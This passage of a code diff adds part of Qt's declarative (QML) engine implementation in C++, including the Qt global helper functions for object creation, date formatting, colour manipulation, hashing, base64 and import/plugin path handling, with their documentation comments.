+ static_cast<QDeclarativeScriptEngine*>(engine)->p;
+ QDeclarativeEngine* activeEngine = activeEnginePriv->q_func();
+
+ if(ctxt->argumentCount() < 2 || ctxt->argumentCount() > 3)
+ return ctxt->throwError(QLatin1String("Qt.createQmlObject(): Invalid arguments"));
+
+ QDeclarativeContextData* context = activeEnginePriv->getContext(ctxt);
+ Q_ASSERT(context);
+
+ QString qml = ctxt->argument(0).toString();
+ if (qml.isEmpty())
+ return engine->nullValue();
+
+ QUrl url;
+ if(ctxt->argumentCount() > 2)
+ url = QUrl(ctxt->argument(2).toString());
+ else
+ url = QUrl(QLatin1String("inline"));
+
+ if (url.isValid() && url.isRelative())
+ url = context->resolvedUrl(url);
+
+ QObject *parentArg = activeEnginePriv->objectClass->toQObject(ctxt->argument(1));
+ if(!parentArg)
+ return ctxt->throwError(QLatin1String("Qt.createQmlObject(): Missing parent object"));
+
+ QDeclarativeComponent component(activeEngine);
+ component.setData(qml.toUtf8(), url);
+
+ if(component.isError()) {
+ QList<QDeclarativeError> errors = component.errors();
+ QString errstr = QLatin1String("Qt.createQmlObject() failed to create object: ");
+ QScriptValue arr = ctxt->engine()->newArray(errors.length());
+ int i = 0;
+ foreach (const QDeclarativeError &error, errors){
+ errstr += QLatin1String(" ") + error.toString() + QLatin1String("\n");
+ QScriptValue qmlErrObject = ctxt->engine()->newObject();
+ qmlErrObject.setProperty(QLatin1String("lineNumber"), QScriptValue(error.line()));
+ qmlErrObject.setProperty(QLatin1String("columnNumber"), QScriptValue(error.column()));
+ qmlErrObject.setProperty(QLatin1String("fileName"), QScriptValue(error.url().toString()));
+ qmlErrObject.setProperty(QLatin1String("message"), QScriptValue(error.description()));
+ arr.setProperty(i++, qmlErrObject);
+ }
+ QScriptValue err = ctxt->throwError(errstr);
+ err.setProperty(QLatin1String("qmlErrors"),arr);
+ return err;
+ }
+
+ if (!component.isReady())
+ return ctxt->throwError(QLatin1String("Qt.createQmlObject(): Component is not ready"));
+
+ QObject *obj = component.beginCreate(context->asQDeclarativeContext());
+ if(obj)
+ QDeclarativeData::get(obj, true)->setImplicitDestructible();
+ component.completeCreate();
+
+ if(component.isError()) {
+ QList<QDeclarativeError> errors = component.errors();
+ QString errstr = QLatin1String("Qt.createQmlObject() failed to create object: ");
+ QScriptValue arr = ctxt->engine()->newArray(errors.length());
+ int i = 0;
+ foreach (const QDeclarativeError &error, errors){
+ errstr += QLatin1String(" ") + error.toString() + QLatin1String("\n");
+ QScriptValue qmlErrObject = ctxt->engine()->newObject();
+ qmlErrObject.setProperty(QLatin1String("lineNumber"), QScriptValue(error.line()));
+ qmlErrObject.setProperty(QLatin1String("columnNumber"), QScriptValue(error.column()));
+ qmlErrObject.setProperty(QLatin1String("fileName"), QScriptValue(error.url().toString()));
+ qmlErrObject.setProperty(QLatin1String("message"), QScriptValue(error.description()));
+ arr.setProperty(i++, qmlErrObject);
+ }
+ QScriptValue err = ctxt->throwError(errstr);
+ err.setProperty(QLatin1String("qmlErrors"),arr);
+ return err;
+ }
+
+ Q_ASSERT(obj);
+
+ obj->setParent(parentArg);
+
+ QList<QDeclarativePrivate::AutoParentFunction> functions = QDeclarativeMetaType::parentFunctions();
+ for (int ii = 0; ii < functions.count(); ++ii) {
+ if (QDeclarativePrivate::Parented == functions.at(ii)(obj, parentArg))
+ break;
+ }
+
+ QDeclarativeData::get(obj, true)->setImplicitDestructible();
+ return activeEnginePriv->objectClass->newQObject(obj, QMetaType::QObjectStar);
+}
+
+/*!
+\qmlmethod bool Qt::isQtObject(object)
+Returns true if \c object is a valid reference to a Qt or QML object, otherwise false.
+*/
+QScriptValue QDeclarativeEnginePrivate::isQtObject(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ if (ctxt->argumentCount() == 0)
+ return QScriptValue(engine, false);
+
+ return QScriptValue(engine, 0 != ctxt->argument(0).toQObject());
+}
+
+/*!
+\qmlmethod Qt::vector3d(real x, real y, real z)
+Returns a Vector3D with the specified \c x, \c y and \c z.
+*/
+QScriptValue QDeclarativeEnginePrivate::vector3d(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ if(ctxt->argumentCount() != 3)
+ return ctxt->throwError(QLatin1String("Qt.vector(): Invalid arguments"));
+ qsreal x = ctxt->argument(0).toNumber();
+ qsreal y = ctxt->argument(1).toNumber();
+ qsreal z = ctxt->argument(2).toNumber();
+ return QDeclarativeEnginePrivate::get(engine)->scriptValueFromVariant(QVariant::fromValue(QVector3D(x, y, z)));
+}
+
+/*!
+\qmlmethod string Qt::formatDate(datetime date, variant format)
+
+Returns a string representation of \c date, optionally formatted according
+to \c format.
+
+The \a date parameter may be a JavaScript \c Date object, a \l{date}{date}
+property, a QDate, or QDateTime value. The \a format parameter may be any of
+the possible format values as described for
+\l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}.
+
+If \a format is not specified, \a date is formatted using
+\l {Qt::DefaultLocaleShortDate}{Qt.DefaultLocaleShortDate}.
+*/
+#ifndef QT_NO_DATESTRING
+QScriptValue QDeclarativeEnginePrivate::formatDate(QScriptContext*ctxt, QScriptEngine*engine)
+{
+ int argCount = ctxt->argumentCount();
+ if(argCount == 0 || argCount > 2)
+ return ctxt->throwError(QLatin1String("Qt.formatDate(): Invalid arguments"));
+
+ QDate date = ctxt->argument(0).toDateTime().date();
+ Qt::DateFormat enumFormat = Qt::DefaultLocaleShortDate;
+ if (argCount == 2) {
+ QScriptValue formatArg = ctxt->argument(1);
+ if (formatArg.isString()) {
+ QString format = formatArg.toString();
+ return engine->newVariant(QVariant::fromValue(date.toString(format)));
+ } else if (formatArg.isNumber()) {
+ enumFormat = Qt::DateFormat(formatArg.toUInt32());
+ } else {
+ return ctxt->throwError(QLatin1String("Qt.formatDate(): Invalid date format"));
+ }
+ }
+ return engine->newVariant(QVariant::fromValue(date.toString(enumFormat)));
+}
+
+/*!
+\qmlmethod string Qt::formatTime(datetime time, variant format)
+
+Returns a string representation of \c time, optionally formatted according to
+\c format.
+
+The \a time parameter may be a JavaScript \c Date object, a QTime, or QDateTime
+value. The \a format parameter may be any of the possible format values as
+described for \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}.
+
+If \a format is not specified, \a time is formatted using
+\l {Qt::DefaultLocaleShortDate}{Qt.DefaultLocaleShortDate}.
+*/
+QScriptValue QDeclarativeEnginePrivate::formatTime(QScriptContext*ctxt, QScriptEngine*engine)
+{
+ int argCount = ctxt->argumentCount();
+ if(argCount == 0 || argCount > 2)
+ return ctxt->throwError(QLatin1String("Qt.formatTime(): Invalid arguments"));
+
+ QTime time;
+ QScriptValue sv = ctxt->argument(0);
+ if (sv.isDate())
+ time = sv.toDateTime().time();
+ else if (sv.toVariant().type() == QVariant::Time)
+ time = sv.toVariant().toTime();
+
+ Qt::DateFormat enumFormat = Qt::DefaultLocaleShortDate;
+ if (argCount == 2) {
+ QScriptValue formatArg = ctxt->argument(1);
+ if (formatArg.isString()) {
+ QString format = formatArg.toString();
+ return engine->newVariant(QVariant::fromValue(time.toString(format)));
+ } else if (formatArg.isNumber()) {
+ enumFormat = Qt::DateFormat(formatArg.toUInt32());
+ } else {
+ return ctxt->throwError(QLatin1String("Qt.formatTime(): Invalid time format"));
+ }
+ }
+ return engine->newVariant(QVariant::fromValue(time.toString(enumFormat)));
+}
+
+/*!
+\qmlmethod string Qt::formatDateTime(datetime dateTime, variant format)
+
+Returns a string representation of \c datetime, optionally formatted according to
+\c format.
+
+The \a date parameter may be a JavaScript \c Date object, a \l{date}{date}
+property, a QDate, QTime, or QDateTime value.
+
+If \a format is not provided, \a dateTime is formatted using
+\l {Qt::DefaultLocaleShortDate}{Qt.DefaultLocaleShortDate}. Otherwise,
+\a format should be either.
+
+\list
+\o One of the Qt::DateFormat enumeration values, such as
+ \c Qt.DefaultLocaleShortDate or \c Qt.ISODate
+\o A string that specifies the format of the returned string, as detailed below.
+\endlist
+
+If \a format specifies a format string, it should use the following expressions
+to specify the date:
+
+ \table
+ \header \i Expression \i Output
+ \row \i d \i the day as number without a leading zero (1 to 31)
+ \row \i dd \i the day as number with a leading zero (01 to 31)
+ \row \i ddd
+ \i the abbreviated localized day name (e.g. 'Mon' to 'Sun').
+ Uses QDate::shortDayName().
+ \row \i dddd
+ \i the long localized day name (e.g. 'Monday' to 'Qt::Sunday').
+ Uses QDate::longDayName().
+ \row \i M \i the month as number without a leading zero (1-12)
+ \row \i MM \i the month as number with a leading zero (01-12)
+ \row \i MMM
+ \i the abbreviated localized month name (e.g. 'Jan' to 'Dec').
+ Uses QDate::shortMonthName().
+ \row \i MMMM
+ \i the long localized month name (e.g. 'January' to 'December').
+ Uses QDate::longMonthName().
+ \row \i yy \i the year as two digit number (00-99)
+ \row \i yyyy \i the year as four digit number
+ \endtable
+
+In addition the following expressions can be used to specify the time:
+
+ \table
+ \header \i Expression \i Output
+ \row \i h
+ \i the hour without a leading zero (0 to 23 or 1 to 12 if AM/PM display)
+ \row \i hh
+ \i the hour with a leading zero (00 to 23 or 01 to 12 if AM/PM display)
+ \row \i m \i the minute without a leading zero (0 to 59)
+ \row \i mm \i the minute with a leading zero (00 to 59)
+ \row \i s \i the second without a leading zero (0 to 59)
+ \row \i ss \i the second with a leading zero (00 to 59)
+ \row \i z \i the milliseconds without leading zeroes (0 to 999)
+ \row \i zzz \i the milliseconds with leading zeroes (000 to 999)
+ \row \i AP
+ \i use AM/PM display. \e AP will be replaced by either "AM" or "PM".
+ \row \i ap
+ \i use am/pm display. \e ap will be replaced by either "am" or "pm".
+ \endtable
+
+ All other input characters will be ignored. Any sequence of characters that
+ are enclosed in single quotes will be treated as text and not be used as an
+ expression. Two consecutive single quotes ("''") are replaced by a single quote
+ in the output.
+
+For example, if the following date/time value was specified:
+
+ \code
+ // 21 May 2001 14:13:09
+ var dateTime = new Date(2001, 5, 21, 14, 13, 09)
+ \endcode
+
+This \a dateTime value could be passed to \c Qt.formatDateTime(),
+\l {QML:Qt::formatDate()}{Qt.formatDate()} or \l {QML:Qt::formatTime()}{Qt.formatTime()}
+with the \a format values below to produce the following results:
+
+ \table
+ \header \i Format \i Result
+ \row \i "dd.MM.yyyy" \i 21.05.2001
+ \row \i "ddd MMMM d yy" \i Tue May 21 01
+ \row \i "hh:mm:ss.zzz" \i 14:13:09.042
+ \row \i "h:m:s ap" \i 2:13:9 pm
+ \endtable
+*/
+QScriptValue QDeclarativeEnginePrivate::formatDateTime(QScriptContext*ctxt, QScriptEngine*engine)
+{
+ int argCount = ctxt->argumentCount();
+ if(argCount == 0 || argCount > 2)
+ return ctxt->throwError(QLatin1String("Qt.formatDateTime(): Invalid arguments"));
+
+ QDateTime date = ctxt->argument(0).toDateTime();
+ Qt::DateFormat enumFormat = Qt::DefaultLocaleShortDate;
+ if (argCount == 2) {
+ QScriptValue formatArg = ctxt->argument(1);
+ if (formatArg.isString()) {
+ QString format = formatArg.toString();
+ return engine->newVariant(QVariant::fromValue(date.toString(format)));
+ } else if (formatArg.isNumber()) {
+ enumFormat = Qt::DateFormat(formatArg.toUInt32());
+ } else {
+ return ctxt->throwError(QLatin1String("Qt.formatDateTime(): Invalid datetime format"));
+ }
+ }
+ return engine->newVariant(QVariant::fromValue(date.toString(enumFormat)));
+}
+#endif // QT_NO_DATESTRING
+
+/*!
+\qmlmethod color Qt::rgba(real red, real green, real blue, real alpha)
+
+Returns a color with the specified \c red, \c green, \c blue and \c alpha components.
+All components should be in the range 0-1 inclusive.
+*/
+QScriptValue QDeclarativeEnginePrivate::rgba(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ int argCount = ctxt->argumentCount();
+ if(argCount < 3 || argCount > 4)
+ return ctxt->throwError(QLatin1String("Qt.rgba(): Invalid arguments"));
+ qsreal r = ctxt->argument(0).toNumber();
+ qsreal g = ctxt->argument(1).toNumber();
+ qsreal b = ctxt->argument(2).toNumber();
+ qsreal a = (argCount == 4) ? ctxt->argument(3).toNumber() : 1;
+
+ if (r < 0.0) r=0.0;
+ if (r > 1.0) r=1.0;
+ if (g < 0.0) g=0.0;
+ if (g > 1.0) g=1.0;
+ if (b < 0.0) b=0.0;
+ if (b > 1.0) b=1.0;
+ if (a < 0.0) a=0.0;
+ if (a > 1.0) a=1.0;
+
+ return engine->toScriptValue(QVariant::fromValue(QColor::fromRgbF(r, g, b, a)));
+}
+
+/*!
+\qmlmethod color Qt::hsla(real hue, real saturation, real lightness, real alpha)
+
+Returns a color with the specified \c hue, \c saturation, \c lightness and \c alpha components.
+All components should be in the range 0-1 inclusive.
+*/
+QScriptValue QDeclarativeEnginePrivate::hsla(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ int argCount = ctxt->argumentCount();
+ if(argCount < 3 || argCount > 4)
+ return ctxt->throwError(QLatin1String("Qt.hsla(): Invalid arguments"));
+ qsreal h = ctxt->argument(0).toNumber();
+ qsreal s = ctxt->argument(1).toNumber();
+ qsreal l = ctxt->argument(2).toNumber();
+ qsreal a = (argCount == 4) ? ctxt->argument(3).toNumber() : 1;
+
+ if (h < 0.0) h=0.0;
+ if (h > 1.0) h=1.0;
+ if (s < 0.0) s=0.0;
+ if (s > 1.0) s=1.0;
+ if (l < 0.0) l=0.0;
+ if (l > 1.0) l=1.0;
+ if (a < 0.0) a=0.0;
+ if (a > 1.0) a=1.0;
+
+ return engine->toScriptValue(QVariant::fromValue(QColor::fromHslF(h, s, l, a)));
+}
+
+/*!
+\qmlmethod rect Qt::rect(int x, int y, int width, int height)
+
+Returns a \c rect with the top-left corner at \c x, \c y and the specified \c width and \c height.
+
+The returned object has \c x, \c y, \c width and \c height attributes with the given values.
+*/
+QScriptValue QDeclarativeEnginePrivate::rect(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ if(ctxt->argumentCount() != 4)
+ return ctxt->throwError(QLatin1String("Qt.rect(): Invalid arguments"));
+
+ qsreal x = ctxt->argument(0).toNumber();
+ qsreal y = ctxt->argument(1).toNumber();
+ qsreal w = ctxt->argument(2).toNumber();
+ qsreal h = ctxt->argument(3).toNumber();
+
+ return QDeclarativeEnginePrivate::get(engine)->scriptValueFromVariant(QVariant::fromValue(QRectF(x, y, w, h)));
+}
+
+/*!
+\qmlmethod point Qt::point(int x, int y)
+Returns a Point with the specified \c x and \c y coordinates.
+*/
+QScriptValue QDeclarativeEnginePrivate::point(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ if(ctxt->argumentCount() != 2)
+ return ctxt->throwError(QLatin1String("Qt.point(): Invalid arguments"));
+ qsreal x = ctxt->argument(0).toNumber();
+ qsreal y = ctxt->argument(1).toNumber();
+ return QDeclarativeEnginePrivate::get(engine)->scriptValueFromVariant(QVariant::fromValue(QPointF(x, y)));
+}
+
+/*!
+\qmlmethod Qt::size(int width, int height)
+Returns a Size with the specified \c width and \c height.
+*/
+QScriptValue QDeclarativeEnginePrivate::size(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ if(ctxt->argumentCount() != 2)
+ return ctxt->throwError(QLatin1String("Qt.size(): Invalid arguments"));
+ qsreal w = ctxt->argument(0).toNumber();
+ qsreal h = ctxt->argument(1).toNumber();
+ return QDeclarativeEnginePrivate::get(engine)->scriptValueFromVariant(QVariant::fromValue(QSizeF(w, h)));
+}
+
+/*!
+\qmlmethod color Qt::lighter(color baseColor, real factor)
+Returns a color lighter than \c baseColor by the \c factor provided.
+
+If the factor is greater than 1.0, this functions returns a lighter color.
+Setting factor to 1.5 returns a color that is 50% brighter. If the factor is less than 1.0,
+the return color is darker, but we recommend using the Qt.darker() function for this purpose.
+If the factor is 0 or negative, the return value is unspecified.
+
+The function converts the current RGB color to HSV, multiplies the value (V) component
+by factor and converts the color back to RGB.
+
+If \c factor is not supplied, returns a color 50% lighter than \c baseColor (factor 1.5).
+*/
+QScriptValue QDeclarativeEnginePrivate::lighter(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ if(ctxt->argumentCount() != 1 && ctxt->argumentCount() != 2)
+ return ctxt->throwError(QLatin1String("Qt.lighter(): Invalid arguments"));
+ QVariant v = ctxt->argument(0).toVariant();
+ QColor color;
+ if (v.userType() == QVariant::Color)
+ color = v.value<QColor>();
+ else if (v.userType() == QVariant::String) {
+ bool ok;
+ color = QDeclarativeStringConverters::colorFromString(v.toString(), &ok);
+ if (!ok)
+ return engine->nullValue();
+ } else
+ return engine->nullValue();
+ qsreal factor = 1.5;
+ if (ctxt->argumentCount() == 2)
+ factor = ctxt->argument(1).toNumber();
+ color = color.lighter(int(qRound(factor*100.)));
+ return engine->toScriptValue(QVariant::fromValue(color));
+}
+
+/*!
+\qmlmethod color Qt::darker(color baseColor, real factor)
+Returns a color darker than \c baseColor by the \c factor provided.
+
+If the factor is greater than 1.0, this function returns a darker color.
+Setting factor to 3.0 returns a color that has one-third the brightness.
+If the factor is less than 1.0, the return color is lighter, but we recommend using
+the Qt.lighter() function for this purpose. If the factor is 0 or negative, the return
+value is unspecified.
+
+The function converts the current RGB color to HSV, divides the value (V) component
+by factor and converts the color back to RGB.
+
+If \c factor is not supplied, returns a color 50% darker than \c baseColor (factor 2.0).
+*/
+QScriptValue QDeclarativeEnginePrivate::darker(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ if(ctxt->argumentCount() != 1 && ctxt->argumentCount() != 2)
+ return ctxt->throwError(QLatin1String("Qt.darker(): Invalid arguments"));
+ QVariant v = ctxt->argument(0).toVariant();
+ QColor color;
+ if (v.userType() == QVariant::Color)
+ color = v.value<QColor>();
+ else if (v.userType() == QVariant::String) {
+ bool ok;
+ color = QDeclarativeStringConverters::colorFromString(v.toString(), &ok);
+ if (!ok)
+ return engine->nullValue();
+ } else
+ return engine->nullValue();
+ qsreal factor = 2.0;
+ if (ctxt->argumentCount() == 2)
+ factor = ctxt->argument(1).toNumber();
+ color = color.darker(int(qRound(factor*100.)));
+ return engine->toScriptValue(QVariant::fromValue(color));
+}
+
+/*!
+\qmlmethod bool Qt::openUrlExternally(url target)
+Attempts to open the specified \c target url in an external application, based on the user's desktop preferences. Returns true if it succeeds, and false otherwise.
+*/
+QScriptValue QDeclarativeEnginePrivate::desktopOpenUrl(QScriptContext *ctxt, QScriptEngine *e)
+{
+ if(ctxt->argumentCount() < 1)
+ return QScriptValue(e, false);
+ bool ret = false;
+#ifndef QT_NO_DESKTOPSERVICES
+ ret = QDesktopServices::openUrl(QDeclarativeScriptEngine::get(e)->resolvedUrl(ctxt, QUrl(ctxt->argument(0).toString())));
+#endif
+ return QScriptValue(e, ret);
+}
+
+/*!
+\qmlmethod list<string> Qt::fontFamilies()
+Returns a list of the font families available to the application.
+*/
+
+QScriptValue QDeclarativeEnginePrivate::fontFamilies(QScriptContext *ctxt, QScriptEngine *e)
+{
+ if(ctxt->argumentCount() != 0)
+ return ctxt->throwError(QLatin1String("Qt.fontFamilies(): Invalid arguments"));
+
+ QDeclarativeEnginePrivate *p = QDeclarativeEnginePrivate::get(e);
+ QFontDatabase database;
+ return p->scriptValueFromVariant(database.families());
+}
+
+/*!
+\qmlmethod string Qt::md5(data)
+Returns a hex string of the md5 hash of \c data.
+*/
+QScriptValue QDeclarativeEnginePrivate::md5(QScriptContext *ctxt, QScriptEngine *)
+{
+ if (ctxt->argumentCount() != 1)
+ return ctxt->throwError(QLatin1String("Qt.md5(): Invalid arguments"));
+
+ QByteArray data = ctxt->argument(0).toString().toUtf8();
+ QByteArray result = QCryptographicHash::hash(data, QCryptographicHash::Md5);
+
+ return QScriptValue(QLatin1String(result.toHex()));
+}
+
+/*!
+\qmlmethod string Qt::btoa(data)
+Binary to ASCII - this function returns a base64 encoding of \c data.
+*/
+QScriptValue QDeclarativeEnginePrivate::btoa(QScriptContext *ctxt, QScriptEngine *)
+{
+ if (ctxt->argumentCount() != 1)
+ return ctxt->throwError(QLatin1String("Qt.btoa(): Invalid arguments"));
+
+ QByteArray data = ctxt->argument(0).toString().toUtf8();
+
+ return QScriptValue(QLatin1String(data.toBase64()));
+}
+
+/*!
+\qmlmethod string Qt::atob(data)
+ASCII to binary - this function returns a base64 decoding of \c data.
+*/
+
+QScriptValue QDeclarativeEnginePrivate::atob(QScriptContext *ctxt, QScriptEngine *)
+{
+ if (ctxt->argumentCount() != 1)
+ return ctxt->throwError(QLatin1String("Qt.atob(): Invalid arguments"));
+
+ QByteArray data = ctxt->argument(0).toString().toUtf8();
+
+ return QScriptValue(QLatin1String(QByteArray::fromBase64(data)));
+}
+
+QScriptValue QDeclarativeEnginePrivate::consoleLog(QScriptContext *ctxt, QScriptEngine *e)
+{
+ if(ctxt->argumentCount() < 1)
+ return e->newVariant(QVariant(false));
+
+ QByteArray msg;
+
+ for (int i=0; i<ctxt->argumentCount(); ++i) {
+ if (!msg.isEmpty()) msg += ' ';
+ msg += ctxt->argument(i).toString().toLocal8Bit();
+ // does not support firebug "%[a-z]" formatting, since firebug really
+ // does just ignore the format letter, which makes it pointless.
+ }
+
+ qDebug("%s",msg.constData());
+
+ return e->newVariant(QVariant(true));
+}
+
+void QDeclarativeEnginePrivate::sendQuit()
+{
+ Q_Q(QDeclarativeEngine);
+ emit q->quit();
+ if (q->receivers(SIGNAL(quit())) == 0) {
+ qWarning("Signal QDeclarativeEngine::quit() emitted, but no receivers connected to handle it.");
+ }
+}
+
+static void dumpwarning(const QDeclarativeError &error)
+{
+ qWarning().nospace() << qPrintable(error.toString());
+}
+
+static void dumpwarning(const QList<QDeclarativeError> &errors)
+{
+ for (int ii = 0; ii < errors.count(); ++ii)
+ dumpwarning(errors.at(ii));
+}
+
+void QDeclarativeEnginePrivate::warning(const QDeclarativeError &error)
+{
+ Q_Q(QDeclarativeEngine);
+ q->warnings(QList<QDeclarativeError>() << error);
+ if (outputWarningsToStdErr)
+ dumpwarning(error);
+}
+
+void QDeclarativeEnginePrivate::warning(const QList<QDeclarativeError> &errors)
+{
+ Q_Q(QDeclarativeEngine);
+ q->warnings(errors);
+ if (outputWarningsToStdErr)
+ dumpwarning(errors);
+}
+
+void QDeclarativeEnginePrivate::warning(QDeclarativeEngine *engine, const QDeclarativeError &error)
+{
+ if (engine)
+ QDeclarativeEnginePrivate::get(engine)->warning(error);
+ else
+ dumpwarning(error);
+}
+
+void QDeclarativeEnginePrivate::warning(QDeclarativeEngine *engine, const QList<QDeclarativeError> &error)
+{
+ if (engine)
+ QDeclarativeEnginePrivate::get(engine)->warning(error);
+ else
+ dumpwarning(error);
+}
+
+void QDeclarativeEnginePrivate::warning(QDeclarativeEnginePrivate *engine, const QDeclarativeError &error)
+{
+ if (engine)
+ engine->warning(error);
+ else
+ dumpwarning(error);
+}
+
+void QDeclarativeEnginePrivate::warning(QDeclarativeEnginePrivate *engine, const QList<QDeclarativeError> &error)
+{
+ if (engine)
+ engine->warning(error);
+ else
+ dumpwarning(error);
+}
+
+/*!
+\qmlmethod Qt::quit()
+This function causes the QDeclarativeEngine::quit() signal to be emitted.
+Within the \l {QML Viewer}, this causes the launcher application to exit;
+to quit a C++ application when this method is called, connect the
+QDeclarativeEngine::quit() signal to the QCoreApplication::quit() slot.
+*/
+
+QScriptValue QDeclarativeEnginePrivate::quit(QScriptContext * /*ctxt*/, QScriptEngine *e)
+{
+ QDeclarativeEnginePrivate *qe = get (e);
+ qe->sendQuit();
+ return QScriptValue();
+}
+
+/*!
+ \qmlmethod color Qt::tint(color baseColor, color tintColor)
+ This function allows tinting one color with another.
+
+ The tint color should usually be mostly transparent, or you will not be
+ able to see the underlying color. The below example provides a slight red
+ tint by having the tint color be pure red which is only 1/16th opaque.
+
+ \qml
+ Item {
+ Rectangle {
+ x: 0; width: 80; height: 80
+ color: "lightsteelblue"
+ }
+ Rectangle {
+ x: 100; width: 80; height: 80
+ color: Qt.tint("lightsteelblue", "#10FF0000")
+ }
+ }
+ \endqml
+ \image declarative-rect_tint.png
+
+ Tint is most useful when a subtle change is intended to be conveyed due to some event; you can then use tinting to more effectively tune the visible color.
+*/
+QScriptValue QDeclarativeEnginePrivate::tint(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ if(ctxt->argumentCount() != 2)
+ return ctxt->throwError(QLatin1String("Qt.tint(): Invalid arguments"));
+ //get color
+ QVariant v = ctxt->argument(0).toVariant();
+ QColor color;
+ if (v.userType() == QVariant::Color)
+ color = v.value<QColor>();
+ else if (v.userType() == QVariant::String) {
+ bool ok;
+ color = QDeclarativeStringConverters::colorFromString(v.toString(), &ok);
+ if (!ok)
+ return engine->nullValue();
+ } else
+ return engine->nullValue();
+
+ //get tint color
+ v = ctxt->argument(1).toVariant();
+ QColor tintColor;
+ if (v.userType() == QVariant::Color)
+ tintColor = v.value<QColor>();
+ else if (v.userType() == QVariant::String) {
+ bool ok;
+ tintColor = QDeclarativeStringConverters::colorFromString(v.toString(), &ok);
+ if (!ok)
+ return engine->nullValue();
+ } else
+ return engine->nullValue();
+
+ //tint
+ QColor finalColor;
+ int a = tintColor.alpha();
+ if (a == 0xFF)
+ finalColor = tintColor;
+ else if (a == 0x00)
+ finalColor = color;
+ else {
+ qreal a = tintColor.alphaF();
+ qreal inv_a = 1.0 - a;
+
+ finalColor.setRgbF(tintColor.redF() * a + color.redF() * inv_a,
+ tintColor.greenF() * a + color.greenF() * inv_a,
+ tintColor.blueF() * a + color.blueF() * inv_a,
+ a + inv_a * color.alphaF());
+ }
+
+ return engine->toScriptValue(QVariant::fromValue(finalColor));
+}
+
+QScriptValue QDeclarativeEnginePrivate::scriptValueFromVariant(const QVariant &val)
+{
+ if (val.userType() == qMetaTypeId<QDeclarativeListReference>()) {
+ QDeclarativeListReferencePrivate *p =
+ QDeclarativeListReferencePrivate::get((QDeclarativeListReference*)val.constData());
+ if (p->object) {
+ return listClass->newList(p->property, p->propertyType);
+ } else {
+ return scriptEngine.nullValue();
+ }
+ } else if (val.userType() == qMetaTypeId<QList<QObject *> >()) {
+ const QList<QObject *> &list = *(QList<QObject *>*)val.constData();
+ QScriptValue rv = scriptEngine.newArray(list.count());
+ for (int ii = 0; ii < list.count(); ++ii) {
+ QObject *object = list.at(ii);
+ rv.setProperty(ii, objectClass->newQObject(object));
+ }
+ return rv;
+ } else if (QDeclarativeValueType *vt = valueTypes[val.userType()]) {
+ return valueTypeClass->newObject(val, vt);
+ }
+
+ bool objOk;
+ QObject *obj = QDeclarativeMetaType::toQObject(val, &objOk);
+ if (objOk) {
+ return objectClass->newQObject(obj);
+ } else {
+ return scriptEngine.toScriptValue(val);
+ }
+}
+
+QVariant QDeclarativeEnginePrivate::scriptValueToVariant(const QScriptValue &val, int hint)
+{
+ QScriptDeclarativeClass *dc = QScriptDeclarativeClass::scriptClass(val);
+ if (dc == objectClass)
+ return QVariant::fromValue(objectClass->toQObject(val));
+ else if (dc == valueTypeClass)
+ return valueTypeClass->toVariant(val);
+ else if (dc == contextClass)
+ return QVariant();
+
+ // Convert to a QList<QObject*> only if val is an array and we were explicitly hinted
+ if (hint == qMetaTypeId<QList<QObject *> >() && val.isArray()) {
+ QList<QObject *> list;
+ int length = val.property(QLatin1String("length")).toInt32();
+ for (int ii = 0; ii < length; ++ii) {
+ QScriptValue arrayItem = val.property(ii);
+ QObject *d = arrayItem.toQObject();
+ list << d;
+ }
+ return QVariant::fromValue(list);
+ }
+
+ return val.toVariant();
+}
+
+/*!
+ Adds \a path as a directory where the engine searches for
+ installed modules in a URL-based directory structure.
+ The \a path may be a local filesystem directory or a URL.
+
+ The newly added \a path will be first in the importPathList().
+
+ \sa setImportPathList(), {QML Modules}
+*/
+void QDeclarativeEngine::addImportPath(const QString& path)
+{
+ Q_D(QDeclarativeEngine);
+ d->importDatabase.addImportPath(path);
+}
+
+/*!
+ Returns the list of directories where the engine searches for
+ installed modules in a URL-based directory structure.
+
+ For example, if \c /opt/MyApp/lib/imports is in the path, then QML that
+ imports \c com.mycompany.Feature will cause the QDeclarativeEngine to look
+ in \c /opt/MyApp/lib/imports/com/mycompany/Feature/ for the components
+ provided by that module. A \c qmldir file is required for defining the
+ type version mapping and possibly declarative extensions plugins.
+
+ By default, the list contains the directory of the application executable,
+ paths specified in the \c QML_IMPORT_PATH environment variable,
+ and the builtin \c ImportsPath from QLibraryInfo.
+
+ \sa addImportPath() setImportPathList()
+*/
+QStringList QDeclarativeEngine::importPathList() const
+{
+ Q_D(const QDeclarativeEngine);
+ return d->importDatabase.importPathList();
+}
+
+/*!
+ Sets \a paths as the list of directories where the engine searches for
+ installed modules in a URL-based directory structure.
+
+ By default, the list contains the directory of the application executable,
+ paths specified in the \c QML_IMPORT_PATH environment variable,
+ and the builtin \c ImportsPath from QLibraryInfo.
+
+ \sa importPathList() addImportPath()
+ */
+void QDeclarativeEngine::setImportPathList(const QStringList &paths)
+{
+ Q_D(QDeclarativeEngine);
+ d->importDatabase.setImportPathList(paths);
+}
+
+
+/*!
+ Adds \a path as a directory where the engine searches for
+ native plugins for imported modules (referenced in the \c qmldir file).
+
+ By default, the list contains only \c ., i.e. the engine searches
+ in the directory of the \c qmldir file itself.
+
+ The newly added \a path will be first in the pluginPathList().
+
+ \sa setPluginPathList()
+*/
+void QDeclarativeEngine::addPluginPath(const QString& path)
+{
+ Q_D(QDeclarativeEngine);
+ d->importDatabase.addPluginPath(path);
+}
+
+
+/*!
+ Returns the list of directories where the engine searches for
+ native plugins for imported modules (referenced in the \c qmldir file).
+
+ By default, the list contains only \c ., i.e. the engine searches
+ in the directory of the \c qmldir file itself.
+
+ \sa addPluginPath() setPluginPathList()
+*/
+QStringList QDeclarativeEngine::pluginPathList() const
+{
+ Q_D(const QDeclarativeEngine);
+ return d->importDatabase.pluginPathList();
+}
+
+/*!
+ Sets the list of directories where the engine searches for
+ native plugins for imported modules (referenced in the \c qmldir file)
+ to \a paths.
+
+ By default, the list contains only \c ., i.e. the engine searches
+ in the directory of the \c qmldir file itself.
+
